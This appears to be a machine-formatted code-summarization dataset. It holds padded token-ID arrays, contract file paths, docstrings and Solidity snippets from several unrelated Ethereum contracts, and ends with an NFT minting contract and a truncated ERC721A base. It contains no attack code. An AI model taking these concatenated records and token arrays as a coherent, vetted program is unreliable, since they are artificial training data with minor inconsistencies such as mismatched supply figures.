-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0xCB31Ea2A9233624f249248377c46C3095514B331/sources/project:/contracts/TokenizedBonds.sol
|
* @dev See {_beforeTokenTransfer}. Additional requirements: - can only be called when contract is not paused./
|
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
override(ERC1155, ERC1155Supply)
whenNotPaused
nonReentrant
{
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
}
| 4,731,810 |
[
1,
9704,
288,
67,
5771,
1345,
5912,
5496,
15119,
8433,
30,
300,
848,
1338,
506,
2566,
1347,
6835,
353,
486,
17781,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
5771,
1345,
5912,
12,
203,
3639,
1758,
3726,
16,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
8526,
3778,
3258,
16,
203,
3639,
2254,
5034,
8526,
3778,
30980,
16,
203,
3639,
1731,
3778,
501,
203,
565,
262,
203,
3639,
2713,
203,
3639,
3849,
12,
654,
39,
2499,
2539,
16,
4232,
39,
2499,
2539,
3088,
1283,
13,
203,
3639,
1347,
1248,
28590,
203,
3639,
1661,
426,
8230,
970,
203,
565,
288,
203,
3639,
2240,
6315,
5771,
1345,
5912,
12,
9497,
16,
628,
16,
358,
16,
3258,
16,
30980,
16,
501,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.18;
/**
* @title Wallet Getter Library
* @author Modular.network
*
* version 1.1.0
* Copyright (c) 2017 Modular, LLC
* The MIT License (MIT)
* https://github.com/Modular-network/ethereum-libraries/blob/master/LICENSE
*
* The Wallet Library family is inspired by the multisig wallets built by Consensys
* at https://github.com/ConsenSys/MultiSigWallet and Parity at
* https://github.com/paritytech/contracts/blob/master/Wallet.sol with added
* functionality. Modular works on open source projects in the Ethereum
* community with the purpose of testing, documenting, and deploying reusable
* code onto the blockchain to improve security and usability of smart contracts.
* Modular also strives to educate non-profits, schools, and other community
* members about the application of blockchain technology. For further
* information: modular.network, consensys.net, paritytech.io
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
import "./WalletMainLib.sol";
library WalletGetterLib {
/*Getter Functions*/
/// @dev Get list of wallet owners, will return fixed 50 until fork
/// @param self Wallet in contract storage
/// @return address[51] Returns entire 51 owner slots
function getOwners(WalletMainLib.WalletData storage self) public view returns (address[51]) {
address[51] memory o;
for(uint256 i = 0; i<self.owners.length; i++){
o[i] = self.owners[i];
}
return o;
}
/// @dev Get index of an owner
/// @param self Wallet in contract storage
/// @param _owner Address of owner
/// @return uint256 Index of the owner
function getOwnerIndex(WalletMainLib.WalletData storage self, address _owner) public view returns (uint256) {
return self.ownerIndex[_owner];
}
/// @dev Get max number of wallet owners
/// @param self Wallet in contract storage
/// @return uint256 Maximum number of owners
function getMaxOwners(WalletMainLib.WalletData storage self) public view returns (uint256) {
return self.maxOwners;
}
/// @dev Get number of wallet owners
/// @param self Wallet in contract storage
/// @return uint256 Number of owners
function getOwnerCount(WalletMainLib.WalletData storage self) public view returns (uint256) {
return self.owners.length - 1;
}
/// @dev Get sig requirements for administrative changes
/// @param self Wallet in contract storage
/// @return uint256 Number of sigs required
function getRequiredAdmin(WalletMainLib.WalletData storage self) public view returns (uint256) {
return self.requiredAdmin;
}
/// @dev Get sig requirements for minor tx spends
/// @param self Wallet in contract storage
/// @return uint256 Number of sigs required
function getRequiredMinor(WalletMainLib.WalletData storage self) public view returns (uint256) {
return self.requiredMinor;
}
/// @dev Get sig requirements for major tx spends
/// @param self Wallet in contract storage
/// @return uint256 Number of sigs required
function getRequiredMajor(WalletMainLib.WalletData storage self) public view returns (uint256) {
return self.requiredMajor;
}
/// @dev Get current day spend for token
/// @param self Wallet in contract storage
/// @param _token Address of token, 0 for ether
/// @return uint256[2] 0-index is day timestamp, 1-index is the day spend
function getCurrentSpend(WalletMainLib.WalletData storage self, address _token) public view returns (uint256[2]) {
uint256[2] memory cs;
cs[0] = self.currentSpend[_token][0];
cs[1] = self.currentSpend[_token][1];
return cs;
}
/// @dev Get major tx threshold per token
/// @param self Wallet in contract storage
/// @param _token Address of token, 0 for ether
/// @return uint256 Threshold amount
function getMajorThreshold(WalletMainLib.WalletData storage self, address _token) public view returns (uint256) {
return self.majorThreshold[_token];
}
/// @dev Get the number of tx's with the same id
/// @param self Wallet in contract storage
/// @param _id ID of transactions requested
/// @return uint256 Number of tx's with same ID
function getTransactionLength(WalletMainLib.WalletData storage self, bytes32 _id) public view returns (uint256) {
return self.transactionInfo[_id].length;
}
/// @dev Get list of confirmations for a tx, use getTransactionLength to get latest number
/// @param self Wallet in contract storage
/// @param _id ID of transaction requested
/// @param _txIndex The transaction index number
/// @return uint256[50] Returns list of confirmations, fixed at 50 until fork
function getTransactionConfirms(WalletMainLib.WalletData storage self,
bytes32 _id,
uint256 _txIndex)
public view returns (uint256[50])
{
uint256[50] memory tc;
for(uint256 i = 0; i<self.transactionInfo[_id][_txIndex].confirmedOwners.length; i++){
tc[i] = self.transactionInfo[_id][_txIndex].confirmedOwners[i];
}
return tc;
}
/// @dev Retrieve tx confirmation count
/// @param self Wallet in contract storage
/// @param _id ID of transaction requested
/// @param _txIndex The transaction index number
/// @return uint256 Returns the current number of tx confirmations
function getTransactionConfirmCount(WalletMainLib.WalletData storage self,
bytes32 _id,
uint256 _txIndex)
public view returns(uint256)
{
return self.transactionInfo[_id][_txIndex].confirmCount;
}
/// @dev Retrieve if transaction was successful
/// @param self Wallet in contract storage
/// @param _id ID of transaction requested
/// @param _txIndex The transaction index number
/// @return bool Returns true if tx successfully executed, false otherwise
function getTransactionSuccess(WalletMainLib.WalletData storage self,
bytes32 _id,
uint256 _txIndex)
public view returns (bool)
{
return self.transactionInfo[_id][_txIndex].success;
}
}
|
@dev Get max number of wallet owners @param self Wallet in contract storage @return uint256 Maximum number of owners
|
function getMaxOwners(WalletMainLib.WalletData storage self) public view returns (uint256) {
return self.maxOwners;
}
| 14,109,832 |
[
1,
967,
943,
1300,
434,
9230,
25937,
225,
365,
20126,
316,
6835,
2502,
327,
2254,
5034,
18848,
1300,
434,
25937,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
7288,
5460,
414,
12,
16936,
6376,
5664,
18,
16936,
751,
2502,
365,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
565,
327,
365,
18,
1896,
5460,
414,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0x368E91c46d8A6ED153C94FBcF169D4D596046AaD/sources/BEP20Token.sol
|
* @dev See {BEP20-allowance}./
|
function allowance(address owner, address spender) external view returns (uint256) {
return _allowedFragments[owner][spender];
}
| 8,871,687 |
[
1,
9704,
288,
5948,
52,
3462,
17,
5965,
1359,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
1699,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
3903,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
565,
327,
389,
8151,
27588,
63,
8443,
6362,
87,
1302,
264,
15533,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
/*
* TheBodega.sol
*
* Created: February 4, 2022
*
* Price: 0.088 ETH
*
* - 535 total supply
* - Pause/unpause minting
* - Limited to 3 mints per wallet
* - Whitelist restricted to Plug hodlers
*/
pragma solidity ^0.8.0;
import "./ERC721A.sol";
import "./access/Pausable.sol";
import "./utils/ReentrancyGuard.sol";
import "./utils/LibPart.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
abstract contract Plug {
function balanceOf(address a) public virtual returns (uint);
}
//@title The Bodega
//@author Jack Kasbeer (git:@jcksber, tw:@satoshigoat, og:overprivilegd)
contract TheBodega is ERC721A, Pausable, ReentrancyGuard {
using SafeMath for uint256;
//@dev Plug instance: mainnet!
Plug constant public thePlug = Plug(0x2Bb501A0374ff3Af41f2009509E9D6a36D56A6c0);
//@dev Supply
uint256 constant MAX_NUM_TOKENS = 545;//number of plug holders
//@dev Properties
string internal _contractURI;
string internal _baseTokenURI;
string internal _tokenHash;
address public payoutAddress;
uint256 public weiPrice;
uint256 constant public royaltyFeeBps = 1500;//15%
bool public openToPublic;
// ---------
// MODIFIERS
// ---------
modifier onlyValidTokenId(uint256 tid) {
require(
0 <= tid && tid < MAX_NUM_TOKENS,
"TheBodega: tid OOB"
);
_;
}
modifier enoughSupply(uint256 qty) {
require(
totalSupply() + qty < MAX_NUM_TOKENS,
"TheBodega: not enough left"
);
_;
}
modifier notEqual(string memory str1, string memory str2) {
require(
!_stringsEqual(str1, str2),
"TheBodega: must be different"
);
_;
}
modifier purchaseArgsOK(address to, uint256 qty, uint256 amount) {
require(
numberMinted(to) + qty <= 3,
"TheBodega: max 3 per wallet"
);
require(
amount >= weiPrice*qty,
"TheBodega: not enough ether"
);
require(
!_isContract(to),
"TheBodega: silly rabbit :P"
);
_;
}
// ------------
// CONSTRUCTION
// ------------
constructor() ERC721A("The Bodega", "") {
_baseTokenURI = "ipfs://";
_tokenHash = "QmbSH67UGGRWNycsNqMBqqnC8ikpriWYM7omqBnSvacm1F";//token metadata ipfs hash
_contractURI = "ipfs://Qmc6XcpjBdU5ZAa1DDFsWG8NyUqW549ejR6WK5XDrwqPUU";
weiPrice = 88000000000000000;//0.088 ETH
payoutAddress = address(0x6b8C6E15818C74895c31A1C91390b3d42B336799);//logik
}
// ----------
// MAIN LOGIC
// ----------
//@dev See {ERC721A16-_baseURI}
function _baseURI() internal view virtual override returns (string memory)
{
return _baseTokenURI;
}
//@dev See {ERC721A16-tokenURI}.
function tokenURI(uint256 tid) public view virtual override
returns (string memory)
{
require(_exists(tid), "ERC721Metadata: URI query for nonexistent token");
return string(abi.encodePacked(_baseTokenURI, _tokenHash));
}
//@dev Controls the contract-level metadata to include things like royalties
function contractURI() external view returns (string memory)
{
return _contractURI;
}
//@dev Allows owners to mint for free whenever
function mint(address to, uint256 qty)
external isSquad enoughSupply(qty)
{
_safeMint(to, qty);
}
//@dev Allows public addresses (non-owners) to purchase
function plugPurchase(address payable to, uint256 qty)
external payable saleActive enoughSupply(qty) purchaseArgsOK(to, qty, msg.value)
{
require(
thePlug.balanceOf(to) > 0,
"TheBodega: plug hodlers only"
);
_safeMint(to, qty);
}
//@dev Allows public addresses (non-owners) to purchase
function publicPurchase(address payable to, uint256 qty)
external payable saleActive enoughSupply(qty) purchaseArgsOK(to, qty, msg.value)
{
require(
openToPublic,
"TheBodega: sale is not public"
);
_safeMint(to, qty);
}
//@dev Allows us to withdraw funds collected
function withdraw(address payable wallet, uint256 amount)
external isSquad nonReentrant
{
require(
amount <= address(this).balance,
"TheBodega: insufficient funds to withdraw"
);
wallet.transfer(amount);
}
//@dev Destroy contract and reclaim leftover funds
function kill() external onlyOwner
{
selfdestruct(payable(_msgSender()));
}
//@dev See `kill`; protects against being unable to delete a collection on OpenSea
function safe_kill() external onlyOwner
{
require(
balanceOf(_msgSender()) == totalSupply(),
"TheBodega: potential error - not all tokens owned"
);
selfdestruct(payable(_msgSender()));
}
/// -------
/// SETTERS
// --------
//@dev Ability to change the base token URI
function setBaseTokenURI(string calldata newBaseURI)
external isSquad notEqual(_baseTokenURI, newBaseURI) { _baseTokenURI = newBaseURI; }
//@dev Ability to update the token metadata
function setTokenHash(string calldata newHash)
external isSquad notEqual(_tokenHash, newHash) { _tokenHash = newHash; }
//@dev Ability to change the contract URI
function setContractURI(string calldata newContractURI)
external isSquad notEqual(_contractURI, newContractURI) { _contractURI = newContractURI; }
//@dev Change the price
function setPrice(uint256 newWeiPrice) external isSquad
{
require(
weiPrice != newWeiPrice,
"TheBodega: newWeiPrice must be different"
);
weiPrice = newWeiPrice;
}
//@dev Toggle the lock on public purchasing
function toggleOpenToPublic() external isSquad
{
openToPublic = openToPublic ? false : true;
}
// -------
// HELPERS
// -------
//@dev Gives us access to the otw internal function `_numberMinted`
function numberMinted(address owner) public view returns (uint256)
{
return _numberMinted(owner);
}
//@dev Determine if two strings are equal using the length + hash method
function _stringsEqual(string memory a, string memory b)
internal pure returns (bool)
{
bytes memory A = bytes(a);
bytes memory B = bytes(b);
if (A.length != B.length) {
return false;
} else {
return keccak256(A) == keccak256(B);
}
}
//@dev Determine if an address is a smart contract
function _isContract(address a) internal view returns (bool)
{
uint32 size;
assembly {
size := extcodesize(a)
}
return size > 0;
}
// ---------
// ROYALTIES
// ---------
//@dev Rarible Royalties V2
function getRaribleV2Royalties(uint256 tid)
external view onlyValidTokenId(tid)
returns (LibPart.Part[] memory)
{
LibPart.Part[] memory royalties = new LibPart.Part[](1);
royalties[0] = LibPart.Part({
account: payable(payoutAddress),
value: uint96(royaltyFeeBps)
});
return royalties;
}
// @dev See {EIP-2981}
function royaltyInfo(uint256 tid, uint256 salePrice)
external view onlyValidTokenId(tid)
returns (address, uint256)
{
uint256 ourCut = SafeMath.div(SafeMath.mul(salePrice, royaltyFeeBps), 10000);
return (payoutAddress, ourCut);
}
}
// SPDX-License-Identifier: MIT
/*
* ERC721A.sol (by Azuki)
*
* Created: February 4, 2022
*
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721]
* Non-Fungible Token Standard, including the Metadata and Enumerable extension.
* Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint256 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 internal currentIndex;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// These are needed for contract compatability
bytes4 internal constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
bytes4 internal constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 internal constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 internal constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
bytes4 internal constant _INTERFACE_ID_EIP2981 = 0x2a55205a;
bytes4 internal constant _INTERFACE_ID_ROYALTIES = 0xcad96cca;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract,
* be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000),
* test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint128 numMintedSoFar = uint128(totalSupply());
uint128 tokenIdsIdx;
address currOwnershipAddr;
// Counter overflow is impossible as the loop breaks when uint16 i is equal to another uint16 numMintedSoFar.
unchecked {
uint128 i;
for (i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public view virtual override(ERC165, IERC165) returns (bool)
{
return interfaceId == _INTERFACE_ID_ERC165
|| interfaceId == _INTERFACE_ID_ROYALTIES
|| interfaceId == _INTERFACE_ID_ERC721
|| interfaceId == _INTERFACE_ID_ERC721_METADATA
|| interfaceId == _INTERFACE_ID_ERC721_ENUMERABLE
|| interfaceId == _INTERFACE_ID_EIP2981
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return _addressData[owner].balance;
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return _addressData[owner].numberMinted;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
unchecked {
uint256 curr;
for (curr = tokenId; curr >= 0; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
